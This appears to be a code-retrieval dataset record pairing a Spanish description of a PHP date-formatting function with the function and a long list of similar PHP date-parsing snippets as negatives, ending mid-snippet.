[ "0.6911787", "0.65498304", "0.65498304", "0.6480803", "0.64462155", "0.64227533", "0.63518", "0.6288279", "0.62754357", "0.62627167", "0.6172742", "0.61661977", "0.6121003", "0.6064454", "0.6058251", "0.6037887", "0.60171944", "0.59594464", "0.5942517", "0.5901918", "0.5897674", "0.5885072", "0.58826613", "0.58537143", "0.5844628", "0.58227974", "0.5815499", "0.5810041", "0.57998604", "0.5789038", "0.57882196", "0.5787416", "0.5783825", "0.5760232", "0.5754999", "0.5752632", "0.5741161", "0.57401735", "0.56970054", "0.5691141", "0.56904536", "0.5689545", "0.5679872", "0.5675867", "0.5674762", "0.5659726", "0.56553817", "0.5654112", "0.5645607", "0.56412905", "0.56410867", "0.5640587", "0.5621417", "0.5613409", "0.5604587", "0.5596087", "0.5589716", "0.558926", "0.55871624", "0.55871624", "0.5587015", "0.5586635", "0.55773544", "0.5575768", "0.556734", "0.5551451", "0.55504555", "0.55501515", "0.5547215", "0.5543448", "0.5536951", "0.55308604", "0.552931", "0.5528837", "0.5519185", "0.5515293", "0.5513064", "0.5510175", "0.55091876", "0.5500513", "0.5496401", "0.5491582", "0.5491306", "0.54883", "0.54883", "0.54883", "0.54823995", "0.54783857", "0.54775316", "0.54767364", "0.5473817", "0.54727376", "0.54592186", "0.54588884", "0.54586023", "0.5456386", "0.5452332", "0.5450016", "0.5445713", "0.5444801" ]
0.7916442
0
Devuelve la fecha en formato DD/MM/AAAA, si la fecha pasada no es reconocible devuelve null
public static function getDiaMesAno($fecha){ $timestamp = strtotime($fecha); return date('d/m/Y', $timestamp); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function formatoFecha($data = NULL){\n\n\t\tif($data){\n\n\t\t\t//SEPARA LA FECHA EN 3 PARTES\n\t\t\t$data_funcion = explode(\"-\", $data);\n\t\t\t/*\t$data_funcion[0] = 2019\n\t\t\t\t$data_funcion[1] = 10\n\t\t\t\t$data_funcion[2] = 29\n\t\t\t*/\n\n\t\t\t//retornar la fecha en otro formato\n\t\t\treturn $data_funcion[2] .'/'. $data_funcion[1] .'/'. $data_funcion[0];\n\n\t\t}\n\n\t}", "public function getDateFormate($date){\n\n \t\tif($date != null){\n \t\t $dateAformater = explode(\"-\", $date);\n\n \t\t $annee = $dateAformater[0];\n \t\t $mois = $dateAformater[1];\n \t\t $jour = $dateAformater[2];\n\n $newDate = $jour . '/' . $mois . '/' . $annee ;\n\n return $newDate;\n \t\t}else{\n \t\t\treturn null;\n \t\t}\n\n }", "private function formatFecha($fecha, $format = 'dd/mm/yyyy') {\n $newFecha = NULL;\n if (!empty($fecha) && strlen($fecha) == 10) {\n if ($format === 'dd/mm/yyyy') {\n //de: yyyy-mm-dd a: dd/mm/yyyy \n $fecha = explode('-', $fecha);\n $newFecha = $fecha[2] . '/' . $fecha[1] . '/' . $fecha[0];\n }\n if ($format === 'yyyy-mm-dd') {\n //de: dd/mm/yyyy a: yyyy-mm-dd \n $fecha = explode('/', $fecha);\n $newFecha = $fecha[2] . '/' . $fecha[1] . '/' . $fecha[0];\n }\n }\n \n return $newFecha;\n }", "function formatear_fecha($parametro){\n\n\t\t/* Declaro variables personalizadas para que queden claros los datos */\n\t\t$hora = substr($parametro, 11, 2);\n\t\t$minuto = substr($parametro, 14, 2);\n\t\t$dia = substr($parametro, 8, 2);\n\t\t$mes = substr($parametro, 5, 2);\n\t\t$anno = substr($parametro, 0, 4);\n\n\t\t/* Generamos el formato */\n\t\t$temp = $dia.\"/\".$mes.\"/\".$anno.\" (\".$hora.\":\".$minuto.\")\";\n\t\t\n\t\treturn $temp;\n\t}", "public function sanitizarFechaF($fecha)\n{\n $date =New DateTime();\n return $fechaPedidoDesde= date_format($date->createFromFormat('d/m/Y',$fecha), 'd/m/Y');\n \n}", "public function sanitizarFecha($fecha)\n{\n $date =New DateTime();\n return $fechaPedidoDesde= date_format($date->createFromFormat('d/m/Y',$fecha), 'd/m/Y');\n}", "function formato_fecha($fecha, $formato){\n\t\tif($formato==\"1\"){\n\t\t\tif($fecha==\"0\"){\n\t\t\t\t$fecha = \"\";\n\t\t\t}else{\n\t\t\t\t$fecha = substr($fecha, 6, 2).\"/\".substr($fecha, 4, 2).\"/\".substr($fecha, 0, 4);\n\t\t\t}\n\t\t}elseif($formato==\"2\"){\n\t\t\tif($fecha==\"\"){\n\t\t\t\t$fecha = \"0\";\n\t\t\t}else{\n\t\t\t\t$fecha = substr($fecha, 6, 4).substr($fecha, 3, 2).substr($fecha, 0, 2);\n\t\t\t}\n\t\t}elseif($formato==\"3\"){\n\t\t\tif($fecha==\"0000-00-00\"){\n\t\t\t\t$fecha = \"\";\n\t\t\t}else{\n\t\t\t\t$fecha = substr($fecha, 8, 2).\"/\".substr($fecha, 5, 2).\"/\".substr($fecha, 0, 4);\n\t\t\t}\n\t\t}\n\t\treturn $fecha;\n\t}", "function FormatDate2($fecha)\n {\n if($fecha!=NULL || $fecha!=\"\"){\n $meses = [\"\", \"Enero\", \"Febrero\", \"Marzo\", \"Abril\", \"Mayo\", \"Junio\", \"Julio\", \"Agosto\", \"Septiembre\", \"Octubre\", \"Noviembre\", \"Diciembre\"];\n $dias = [\"\", \"Lunes\", \"Martes\", \"Miercoles\", \"Jueves\", \"Viernes\", \"Sabado\", \"Domingo\"];\n return date(\"j\", strtotime($fecha)) . \" de \" . $meses[date(\"n\", strtotime($fecha))] . \", \" . date(\"Y\", strtotime($fecha));}\n else\n return \"\";\n }", "function formatear_fecha($fecha, $tipo)\n{\n if($tipo == 1) //Formato AAAA-MM-DD\n {\n $fecha_aux = explode('-',$fecha);\n if(count($fecha_aux)<3)\n {\n $fecha_aux = explode('/',$fecha);\n }\n if(count($fecha_aux)<3)\n {\n return $fecha;\n }\n\n if(strlen($fecha_aux[0])>2)\n {\n $fecha_final = $fecha_aux[0].'-'.$fecha_aux[1].'-'.$fecha_aux[2];\n }\n else\n $fecha_final = $fecha_aux[2].'-'.$fecha_aux[1].'-'.$fecha_aux[0];\n }\n else //Formato DD-MM-AAAA\n {\n $fecha_aux = explode('-',$fecha);\n if(count($fecha_aux)<3)\n {\n $fecha_aux = explode('/',$fecha);\n }\n if(count($fecha_aux)<3)\n {\n return $fecha;\n }\n\n if(strlen($fecha_aux[0])>2)\n {\n $fecha_final = $fecha_aux[2].'-'.$fecha_aux[1].'-'.$fecha_aux[0];\n }\n else\n $fecha_final = $fecha_aux[0].'-'.$fecha_aux[1].'-'.$fecha_aux[2];\n }\n\n return $fecha_final;\n}", "function _fechaInput($fecha = ''){\n return \\Carbon\\Carbon::parse($fecha)->format('d/m/Y');\n // return \"{$d}/{$m}/{$y}\";\n\n\n\n\n }", "function diaMesAno($data1) {\n\t$myDateTime = DateTime::createFromFormat('Y-m-d', $data1);\n\t$convertida = $myDateTime->format('d/m/Y');\n\treturn ($convertida);\n}", "function darFormatoFecha($fecha){\n\treturn substr($fecha,8,2).\"/\".substr($fecha,5,2).\"/\".substr($fecha,0,4);\n}", "function darFormatoFecha($fecha){\n\treturn substr($fecha,8,2).\"/\".substr($fecha,5,2).\"/\".substr($fecha,0,4);\n}", "public function sanitizarFecha($fecha)\n{\n $date = date_create($fecha);\n return date_format($date,'Y-m-d');\n}", "public function sanitizarFecha($fecha)\n{\n $date = date_create($fecha);\n return date_format($date,'Y-m-d');\n}", "public function sanitizarFecha($fecha)\n{\n $date = date_create($fecha);\n return date_format($date,'Y-m-d');\n}", "public function sanitizarFecha($fecha)\n{\n $date = date_create($fecha);\n return date_format($date,'Y-m-d');\n}", "public function sanitizarFecha($fecha)\n{\n $date = date_create($fecha);\n return date_format($date,'Y-m-d');\n}", "function date_mysql_fr($date){\n if ($date != \"0000-00-00\" && $date != \"\" && $date != null){\n $my_date = Datetime::createFromFormat('Y-m-d', $date)->format('d/m/Y');\n return $my_date;\n } else {\n return null;\n }\n}", "function formatoFecha($fecha){\n\tif(strpos($fecha,'-')){\n\t\t$fecha=explode('[-]',$fecha);\n\t\t$fecha[2]=explode('[ ]',$fecha[2]);\n\t\t$fecha[2]=$fecha[2][0];\n\t\treturn $fecha[2].'/'.$fecha[1].'/'.$fecha[0];\n\t}elseif(strpos($fecha,'/')){\n\t\t$fecha=explode('[/]',$fecha);\n\t\treturn $fecha[2].'-'.$fecha[1].'-'.$fecha[0];\n\t}\n\treturn false;\n}", "function formatoFecha($fecha){\n\tif(strpos($fecha,'-')){\n\t\t$fecha=explode('[-]',$fecha);\n\t\t$fecha[2]=explode('[ ]',$fecha[2]);\n\t\t$fecha[2]=$fecha[2][0];\n\t\treturn $fecha[2].'/'.$fecha[1].'/'.$fecha[0];\n\t}elseif(strpos($fecha,'/')){\n\t\t$fecha=explode('[/]',$fecha);\n\t\treturn $fecha[2].'-'.$fecha[1].'-'.$fecha[0];\n\t}\n\treturn false;\n}", "public function getDateUtilisateur()\n{\nif (!strcmp($this->dateUtilisateur, \"00/00/0000\"))\n\t$date = \"\";\nelse $date = $this->dateUtilisateur;\nreturn $date;\n}", "public function getBirthdayDate():?string\n {\n return $this->birthday_date ? (new \\DateTime($this->birthday_date))->format('d/m/Y') : null;\n }", "public function formatDate($value)\n {\n \tif($value !== NULL):\n\t \tif(strpos($value, '/') !== false)\n\t \t\t$value = AFormatter::revertDate($value);\n\t\t\t\t\n\t //if(!is_numeric($value)) $value=strtotime ($value);\n\t //return date($this->dateFormat,$value);\n\t \n\t \n\t //LO: To format date that falls outside of 32 bit integer range \n\t if(DateTime::createFromFormat('Y-m-d',$value))\n\t \t\treturn DateTime::createFromFormat('Y-m-d',$value)->format($this->dateFormat);\n\t\t\telse if(DateTime::createFromFormat('Y-m-d G:i:s',$value))\n\t\t\t\treturn DateTime::createFromFormat('Y-m-d G:i:s',$value)->format($this->dateFormat);\t\n\t\t\telse if(DateTime::createFromFormat('Y/m/d',$value))\n\t\t\t\treturn DateTime::createFromFormat('Y/m/d',$value)->format($this->dateFormat);\n\t\t\telse if(DateTime::createFromFormat('d-m-Y',$value))\n\t\t\t\treturn DateTime::createFromFormat('d-m-Y',$value)->format($this->dateFormat);\n\t\t\telse \n\t\t\t\treturn $value;\n\n\t\telse:\n\t\t\treturn $value;\n\t\tendif;\n }", "public function getDate()\n {\n if ( $this->value != null ) {\n $date = strtotime( $this->value );\n return date( 'd m Y', $date );\n }\n return null;\n }", "public function formatear_fecha($fecha) {\n return date_format(date_create($fecha), 'd/m/Y');\n }", "function read_date($str){\n if($str)\n return date('F j, Y, g:i:s a', strtotime($str));\n else\n return null;\n\n}", "function getDate( $date='' ) {\r\n\t\t\t$date = $this->_getDateOrTime( $date, $this->_fmtDate );\r\n\t\t\tif ( $date == 'null' ) {\r\n\t\t\t\treturn $date;\r\n\t\t\t} else {\r\n\t\t\t\treturn 'TO_DATE ( \\'' . $date . '\\', \\'YYYY-MM-DD\\' )';\r\n\t\t\t}\r\n\t\t}", "public function formateaFecha($fecha){\n\n\n\t\t$array=explode(\"-\",$fecha);\n\t\t$numeromes=$array[1];\n\t\t$dia=$array[2];\n\t\t$año=$array[0];\n\n\t\tif($numeromes<10){\n\t\t\t$numeromes=substr($numeromes,1);\n\t\t}\n\n\t\t$meses=array(\"enero\",\"febrero\",\"marzo\",\"abril\",\"mayo\",\"junio\",\"julio\",\"agosto\",\"septiembre\",\"octubre\",\"noviembre\",\"diciembre\");\n\n\t\t$mes=$meses[$numeromes-1];\n\t\t \n\t\t$fecha=$dia . \" de \" . $mes .\" de \".$año;\n\n\t\treturn $fecha;\n\n}", "public static function getDate($date) {\r\n \tif ($date === null || trim($date) == '') {\r\n \t\treturn null;\r\n \t} else if (strlen($date) < 10) {\r\n \t\tthrow new Exception('Wrong format of date ' . $date);\r\n \t} else {\r\n \t\treturn substr($date, 0, 10);\r\n \t}\r\n }", "function formatearFecha($fecha){\n return date('Y d M h:i a', strtotime($fecha));\n}", "function dateFormatView($date)\n{\n $date_formated = '---';\n if($date!='0000-00-00' and $date!='')\n {\n $date_formated = date('m/d/Y',strtotime($date)); \n }\n return $date_formated; \n}", "function _fecha_tabla($fecha, $formato) {\n return ($fecha == null) ? null : date($formato,strtotime($fecha));\n }", "public function getFechaAsignacionAttribute($value)\n {\n return $value === NULL ? $value : date('d/m/Y' , strtotime($value));\n }", "function read_date($str){\n date_default_timezone_set(\"America/Mexico_City\");\n if($str)\n return date('d/m/Y', strtotime($str));\n else\n return null;\n }", "public function getDefaultDate(): string|null\n {\n return null;\n }", "public function getDate($date, $format = 'd/m/Y')\n {\n return strlen($date)\n ? Carbon::parse($date)->format($format)\n : null;\n }", "public function convertirFechas($fecha){\n if(!empty($fecha)){\n $fecha = str_replace(\"/\", \"-\", $fecha);\n $fecha = new DateTime($fecha);\n $fecha = $fecha->format('Y-m-d');\n }\n return $fecha;\n }", "function Fecha_estandar($IngresoFecha){\t\n$date = date_create($IngresoFecha);\nreturn date_format($date, 'd-m-Y');\n}", "private function getFormmatedDob($date)\r\n {\r\n return $date ? date(\"d/m/Y\", strtotime($date)) : null;\r\n }", "function _validarFecha($valor) {\n if (! ($tiempo = strtotime($valor))) return false; \n $d = date('Y-m-d H:i:s', $tiempo);\n $datetime = explode(' ', $d);\n if ('00:00:00' == $datetime[1]){\n return $datetime[0];\n } else {\n return $d;\n }\n }", "function getdatepattern($date) {\n if (preg_match('/\\d{2}\\/\\d{2}\\/\\d{4}/',$date)){\n $dtpattern = \"'%m/%d/%Y \";\n }\n elseif (preg_match('/\\d{2}\\/\\d{1,2}\\/\\d{4}/',$date)) {\n $dtpattern = \"'%m/%e/%Y \";\n }\n elseif (preg_match('/\\d{1,2}\\/\\d{1,2}\\/\\d{4}/',$date)) {\n $dtpattern = \"'%c/%e/%Y \";\n }\n elseif (preg_match('/\\d{2}\\/\\d{2}\\/\\d{2}/',$date)){\n $dtpattern = \"'%m/%d/%y \";\n }\n elseif (preg_match('/\\d{2}\\/\\d{1,2}\\/\\d{2}/',$date)) {\n $dtpattern = \"'%m/%e/%y \";\n }\n elseif (preg_match('/\\d{1,2}\\/\\d{1,2}\\/\\d{2}/',$date)) {\n $dtpattern = \"'%c/%e/%y \";\n }\n \n return $dtpattern;\n }", "protected function _date4View($date, $format = 'd/m/Y') {\n if (!empty($date))\n return date($format, strtotime($date));\n else\n return null;\n }", "function date_format($date = \"\", $format = \"\") {\n if ($format == \"\")\n $format = \"Y-m-d H:i:s\";\n\n if ($date == \"\")\n return \"\";\n\n $converted = strtotime($date);\n\n if ($converted === false)\n return date($format, $date);\n else\n return date($format, $converted);\n }", "public function formatDate($date = null);", "function helper_dateFormat($date)\n {\n $separator= strpos($date, \"/\");\n if($separator === false){\n $date=explode(\"-\", trim($date));\n $date= $date[2].\"/\".$date[1].\"/\".$date[0];\n }else{\n $date=explode(\"/\", trim($date));\n $date= $date[2].\"-\".$date[1].\"-\".$date[0];\n }\n return $date;\n \n }", "public function formatDate2($date1){\r\n\t\tif( $date1 != '00/00/0000' ){\r\n\t\t\tif($date1!=''){\r\n\t\t\t\t$jour = substr($date1,0,2);\r\n\t\t\t\t$mois = substr($date1,3,2);\r\n\t\t\t\t$annee = substr($date1,6,4);\r\n\t\t\t\t$date2 = $annee.'-'.$mois.'-'.$jour;\r\n\t\t\t}else{\r\n\t\t\t\t$date2 = '';\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$date2 = '';\r\n\t\t}\r\n\t\treturn $date2;\r\n\t}", "function converfecha($fechao){\n\t$cuenta = 0;\n\t$año=substr($fechao,-4,4);\n\t$mes=substr($fechao,-7,2);\n\t$dia=substr($fechao,0,2);\n\t//checa si la fecha recibida es valida\n\t\tif(is_numeric($año)&&is_numeric($mes)&&is_numeric($dia)){$fechac=$año.\"-\".$mes.\"-\".$dia;}else{$fechac=$fechao;}\n\treturn $fechac;\n}", "function filtrarFecha( $fecha )\n{\n $fecha = new DateTime( $fecha );\n $fecha = DATE_FORMAT( $fecha, 'Y-m-d' );\n \n return $fecha;\n}", "function fulldate($date) {\n\t\tif ($date != \"\") {\n\t\t\t$chunkit = explode(\" \", $date);\n\t\t\t$datechunk = explode(\"-\", $chunkit[0]);\n\t\t\t$timechunk = explode(\":\", $chunkit[1]);\n\t\t\t$year = $datechunk[0];\n\t\t\t$month = $datechunk[1];\n\t\t\t$day = $datechunk[2];\n\t\t\t$hour = $timechunk[0];\n\t\t\t$min = $timechunk[1];\n\t\t\t$sec = $timechunk[2];\n\t\t\t$first = date(\"M j, Y h\", mktime($hour, $min, 0, $month, $day, $year));\n\t\t\t$second = \":\".$min.\" \";\n\t\t\t$third = date(\"a\", mktime($hour, $min, 0, $month, $day, $year));\n\t\t\treturn $first.$second.$third;\n\t\t} else {\n\t\t\treturn \"\"; \n\t\t}\n\t}", "private function joinDateMdsCheck($ba)\n {\n if ($ba['join_date_mds'] != null && $ba['join_date_mds'] != '0000-00-00') {\n return $this->readableDateFormat($ba['join_date_mds']);\n }\n return '';\n }", "function cambiarFechaMDYtoYMD($fecha,$separador='/'){\r\n\t\t$fechaExplode = explode($separador, $fecha);\r\n\t\t$lafecha = date(\"Y/m/d\", mktime(0,0,0,$fechaExplode[1], $fechaExplode[0], $fechaExplode[2]));\r\n\r\n\t\treturn $lafecha;\r\n\t}", "function onlyDate($date) {\r\n\r\n if ($date == null)\r\n $rtn = \"\";\r\n else\r\n $rtn = substr($date,0,10);\r\n\r\n return $rtn;\r\n}", "function fecha($cadena){\n\t\treturn date($cadena);\n\t}", "public function getDate(): string|null\n {\n if (!$this->hasDate()) {\n $this->setDate($this->getDefaultDate());\n }\n return $this->date;\n }", "function value_date($value){\r\n\tif(substr($value, 4, 1) == \"-\" && substr($value, 7, 1) == \"-\" && strlen($value) == 10){\r\n\t\t$value = implode(\"/\", array_reverse(explode(\"-\", $value)));\r\n\t}\r\n\tif(valid_date($value)){\r\n\t\treturn date_year($value).\"-\".date_month($value).\"-\".date_day($value);\r\n\t}else{\r\n\t\treturn NULL;\r\n\t}\r\n}", "function formDate($data) {\n\t\t\t// AQUI RECEBER O PADRAO PARA ENTAO EFETUAR O TIMESTAMP\n\t\t\t$timestamp \t= explode(\" \", $data);\n\t\t\t$getData\t= $timestamp[0];\n\t\t\t$getTime\t= $timestamp[1];\n\n\t\t\t\t$setData\t= explode('/', $getData);\n\t\t\t\t$dia \t\t= $setData[0];\n\t\t\t\t$mes \t\t= $setData[1];\n\t\t\t\t$ano \t\t= $setData[2];\n\t\t\t// AQUI VAMOS DEFINIR AS HORAS, CASO SELECIONA OU NAO\n\t\t\t\tif (!$getTime):\n\t\t\t\t\t$getTime = date('H:i:s');\n\t\t\t\tendif;\n\t\t\t$result \t= $ano.'-'.$mes.'-'.$dia.' '.$getTime;\n\n\t\t\treturn $result;\n\t\t}", "public function getDataVencimento()\n {\n if ($this->data_vencimento) {\n return $this->data_vencimento->format('d/m/Y');\n }\n return null;\n }", "public function formatDate($date1){\r\n\t\tif( $date1 != '0000-00-00' ){\r\n\t\t\tif($date1!=''){\r\n\t\t\t\t$annee = substr($date1,0,4);\r\n\t\t\t\t$mois = substr($date1,5,2);\r\n\t\t\t\t$jour = substr($date1,8,2);\r\n\t\t\t\t$date2 = $jour.'/'.$mois.'/'.$annee;\r\n\t\t\t}else{\r\n\t\t\t\t$date2 = '';\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$date2 = '';\r\n\t\t}\r\n\t\treturn $date2;\r\n\t}", "public static function fixDateFormat ($badDate) {\n \tif ($badDate == null || $badDate == \"\")\t\n \t\treturn null;\n \t\n\n\tif (strpos ($badDate, \".\") == true)\n\t{\n\t\t$dd = substr($badDate, 0, 2);\n\t \t$month = substr($badDate, 3, 2);\n\t \t$yy = substr($badDate, 6, 4);\n\t \t\t\n\t \treturn $yy . $month . $dd;\n\t}\n\n\n \t$dd = substr($badDate, 0, 2);\n \t$month = substr($badDate, 3, 3);\n \t$yy = substr($badDate, 7, 2);\n \t\n \tif (strcmp($month, 'JAN') == 0)\n \t\t$mm = '01';\n \telse if (strcmp($month, 'FEB') == 0)\n \t\t$mm = '02';\n \telse if (strcmp($month, 'MAR') == 0)\n \t\t$mm = '03';\n \telse if (strcmp($month, 'APR') == 0)\n\t\t$mm = '04';\n \telse if (strcmp($month, 'MAY') == 0)\n \t\t$mm = '05';\n \telse if (strcmp($month, 'JUN') == 0)\n \t\t$mm = '06';\n \telse if (strcmp($month, 'JUL') == 0)\n \t\t$mm = '07';\n \telse if (strcmp($month, 'AUG') == 0)\n \t\t$mm = '08';\n \telse if (strcmp($month, 'SEP') == 0)\n \t\t$mm = '09';\n \telse if (strcmp($month, 'OCT') == 0)\n \t\t$mm = '10';\n \telse if (strcmp($month, 'NOV') == 0)\n \t\t$mm = '11';\n \telse if (strcmp($month, 'DEC') == 0)\n \t\t$mm = '12';\n \telse \n \t\tdie ('Unsupported DATE format (' . $badDate . \")\");\n \t\n \t$yyyy = -1;\t\n \tif ($yy > 90)\n \t\t$yyyy = \"19\" . $yy;\n \telse\n \t\t$yyyy = \"20\" . $yy;\n \t\t\n \treturn $yyyy . $mm . $dd;\n }", "function outputDateFormat($date, $format = null) {\n if(empty($date)){\n return '';\n }\n if(!$format){\n $format = 'm/d/Y';\n }\n if ($date == config('custom.null_date') || $date == '0000-00-00') {\n return '';\n }\n if(!($date instanceof Carbon)) {\n if(is_numeric($date)) {\n // Assume Timestamp\n $date = Carbon::createFromTimestamp($date);\n } else {\n $date = Carbon::parse($date);\n }\n return Carbon::parse($date)->format($format);\n }\n return $date->setTimezone('US/Eastern')->format($format);\n }", "function fecha($str)\n\t{\n\t\t$this->CI->form_validation->set_message('fecha', \"El campo %s debe contener una fecha en formato dd/mm/aaaa.\");\n\t\treturn (bool) preg_match(\"/(^([0]?[1-9]|[1|2][0-9]|[3][0|1])(\\/)([0]?[1-9]|[1][0-2])(\\/)([0-9]{4}|[0-9]{2})$)|^$/\", $str);\n\t}", "function format_date(string $date_string = null, $format = 'd/m/Y') {\n return date_format(new \\DateTime($date_string), $format);\n }", "function format_date(string $date_string = null, $format = 'd/m/Y') {\n return date_format(new \\DateTime($date_string), $format);\n }", "protected function _date4Db($date) {\n $date = str_replace('/', '-', $date);\n if (!empty($date))\n return date('Y-m-d', strtotime($date));\n else\n return null;\n }", "public function getDataEmissao()\n {\n if ($this->data_emissao) {\n return $this->data_emissao->format('d/m/Y');\n }\n return null;\n }", "public function format_date($created_date){\n \tif(($created_date != '') && ($created_date != '0000-00-00')){\n\t\t\t$f_d = date('jS M Y', strtotime($created_date));\n\t\t\treturn $f_d;\n\t\t}\n\t}", "function fecha($fecha, $separador=\"\"){\n if(empty($fecha)){\n return \"\";\n }\n if(!$separador){\n $separador=\"-\";\n }\n $fecha=substr($fecha,8,2).\"$separador\".substr($fecha,5,2).\"$separador\".substr($fecha,0,4);\n return $fecha;\n}", "function formatDate($date){\n\tif(validateDate($date)){\n\t\t$year = substr($date,0,4);\n\t\t$month = substr($date,4,2);\n\t\t$day = substr($date,6,2);\n\t\treturn $year.C('STR_YEAR').$month.C('STR_MONTH').$day.C('STR_DAY');\n\t}\n\telse\n\t\treturn C('STR_FORMAT_DATE_FAIL');\n}", "function dateFormat($date)\n{\n\t$date_formated = '';\n \tif($date!='')\n \t{\n \t$date_formated = date('Y-m-d',strtotime($date));\n \t}\n \treturn $date_formated; \n}", "function dateFormat($date)\n{\n\t$date_formated = '';\n \tif($date!='')\n \t{\n \t$date_formated = date('Y-m-d',strtotime($date));\n \t}\n \treturn $date_formated; \n}", "function uwwtd_get_DD_MM_YYYY_from_YYYY_MM_DD_XXX($date) {\n $return = '';\n if (!empty($date)) {\n if (strlen($date) > 10) {\n $date = substr($date, 0, 10);\n }\n $dateObj = new DateTime($date);\n $return = $dateObj->format('d/m/Y');\n }\n return $return;\n}", "public function created_date_format_reg($created_date){\n\t\tif(($created_date != '') && ($created_date != '0000-00-00')){\n\t\t\t$c_d = date('d/m/Y h:i', strtotime($created_date));\n\t\t\treturn $c_d;\n\t\t}\n\t}", "public function getFechaInicialAttribute($value) \n {\n return $value ? Carbon::parse($value)->format($this->getDateFormatTarifasVehiculo) : null;\n }", "private function _format_date_mysql($fecha) {\n if ($fecha != \"\") {\n $date = explode('-', $fecha);\n if (count($date) === 3) {//valida que vengan los 3 datos separados por / array.length = 3\n if (checkdate($date[1], $date[2], $date[0])) {//mm/d/a\n //int $month , int $day , int $year\n //09/20/2018\n return $date[0] . '-' . $date[1] . '-' . $date[2]; //aa-mm-d\n } else {\n return FALSE;\n }\n } else {\n return FALSE;\n }\n } else {\n return FALSE;\n }\n }", "public function getDateFormatee() {\n return date('d/m/Y', strtotime($this->date));\n }", "function dateFormat($str){\n\t// YYYY-MM-DD -> DD/MM/YYYY\n\t$dbToNormalize ='#[2][0][0-9][0-9]-[0-1][0-9]-[0-3][0-9]#';\n\t$normalizeToDb = '#[0-3][0-9]/[0-1][0-9]/[2][0][0-9][0-9]#';\n\t$datetimeToNormalize = '#[2][0][0-9][0-9]-[0-1][0-9]-[0-3][0-9] [0-2][0-9]:[0-5][0-9]:[0-5][0-9]#';\n\n\tif(preg_match($datetimeToNormalize, $str)){\n\t\t$date = DateTime::createFromFormat('Y-m-d H:i:s', $str);\n\t\treturn $formatedDate = $date->format('d/m/Y à H:i');\t\n\t}\n\telseif (preg_match($dbToNormalize, $str)) {\n\t\t$date = DateTime::createFromFormat('Y-m-d', $str);\n\t\treturn $formatedDate = $date->format('d/m/Y');\n\t}\n\t// DD/MM/YYYY -> YYYY-MM-DD \n\telseif (preg_match($normalizeToDb, $str)) {\n\t\t$date = DateTime::createFromFormat('d/m/Y', $str);\n\t\treturn $formatedDate = $date->format('Y-m-d');\n\t}\n\telse{\n\t\treturn FALSE;\n\t}\n}", "public function getDate(): ?string\r\n {\r\n return $this->date;\r\n }", "public function date($date=null)\n {\n if(is_null($date)) { \t\n\t\t\t$date = $this->publication; \n }\n\n return $date;\n //date_format($date, 'g:ia \\o\\n l jS F Y');;\n }", "function formataDataAmericanaEmBrasileira($dataAmericana) {\n return date('d/m/Y', strtotime($dataAmericana));\n}", "function convert_date($date, $format = DATE_FORMAT)\r\n{ \r\n // $date_format is defined in config.inc.php.\r\n if (empty($date)) return;\r\n\r\n switch ($format) {\r\n case 'us12':\r\n return date('m/d/y g:i a', strtotime($date));\r\n break;\r\n case 'us24':\r\n\t\t\treturn date('m/d/y H:i', strtotime($date));\r\n break;\r\n case 'eu12':\r\n return date('d/m/y g:i a', strtotime($date));\r\n break;\r\n case 'eu24':\r\n return date('d/m/y H:i', strtotime($date)); \r\n break;\r\n case 'verbose':\r\n return date('D M jS, Y @ g:ia', strtotime($date));\r\n break;\r\n case 'mysql':\r\n return date('Y-m-d H:i:s', strtotime($date));\r\n break;\r\n case 'mysql_hours':\r\n return date('H:i a', strtotime($date));\r\n break;\r\n\t\tcase 'unix':\r\n return date('U', strtotime($date));\r\n break;\r\n default:\r\n // none specified, just return us12.\r\n return date('m/d/y h:i a', strtotime($date));\r\n }\r\n\r\n}", "function datetime_format($date = \"\", $format = \"\") {\n if ($format == \"\")\n $format = \"Y-m-d H:i:s\";\n\n if ($date == \"\")\n return \"\";\n\n $converted = strtotime($date);\n\n if ($converted === false)\n return date($format, $date);\n else\n return date($format, $converted);\n }", "function formatFechaBD($value){\n\t$partes = explode(\"-\", $value);\n\t$value = $partes[2].\"-\".$partes[1].\"-\".$partes[0];\n\treturn $value;\n}", "function PrepDate(&$str,$blnNullable = true,$delim=\"/\") {\n if(\n $this->strDriverType == XAO_DRIVER_RDBMS_TYPE_ORACLE \n && $str == \"SYSDATE\"\n ) return;\n if(\n $this->strDriverType == XAO_DRIVER_RDBMS_TYPE_POSTGRES \n && $str == \"CURRENT_TIMESTAMP\"\n ) return;\n \n if(strpos($str,$delim) && !strpos($str,\":\")) {\n if(!preg_match(\"/(0[1-9]|[12][0-9]|3[01])[- \\/.](0[1-9]|1[012])[- \\/.](19|20)[0-9]{2}/\", $str)) {\n $this->XaoThrow(\n \"The supplied date (\".$str.\") is not recognised as a \" .\n \"valid date format. Try DD/MM/YYYY. The developer should \" .\n \"considder using the form validation framework.\",\n debug_backtrace()\n );\n return;\n }\n $arr = explode($delim,$str);\n $arr = array_reverse($arr);\n if(strlen($arr[0]) == 2) {\n if($arr[0] > 50) $arr[0] = \"19\".$arr[0];\n else $arr[0] = \"20\".$arr[0];\n }\n elseif(strlen($arr[0]) == 4) {\n // do nothing\n }\n elseif(strpos($str,\":\")) {\n $this->XaoThrow(\n \"The PrepDate() method does not handle time data.\",\n debug_backtrace()\n );\n return;\n }\n else {\n $this->XaoThrow(\n \"The supplied date (\".$str.\") is not recognised as a \" .\n \"valid date format. Try DD/MM/YYYY. The developer should \" .\n \"considder using the form validation framework.\",\n debug_backtrace()\n );\n return;\n }\n $str = \"'\".sprintf(\"%04d-%02d-%02d\", $arr[0], $arr[1], $arr[2])\n .\" 00:00:00\".\"'\";\n }\n // if(strlen(trim($str))) $str = \"'$str'\";\n elseif($str == \"\") {\n if(!$blnNullable) {\n $this->XaoThrow(\n \"XaoDb::PrepDate() Unhandled NOT NULL Exception. \" .\n \"See stack trace for details.\",\n debug_backtrace()\n );\n return;\n }\n $str = \"NULL\";\n }\n else {\n $this->XaoThrow(\n \"The supplied date (\".$str\n .\") is not recognised as a valid date format. Try DD/MM/YYYY\",\n debug_backtrace()\n );\n }\n }", "private function prepareDateType($data) {\n\t\t\t$m = array();\n\t\t\tif (preg_match('@(\\d{4})[-./](\\d{1,2})[-./](\\d{1,2})@', $data, $m) > 0) {\n\t\t\t\t# pattern: yyyy-mm-dd\n\t\t\t\t$date = substr('00' . $m[2], -2) . '/' . substr('00' . $m[3], -2) . '/' . $m[1];\n\t\t\t} else if 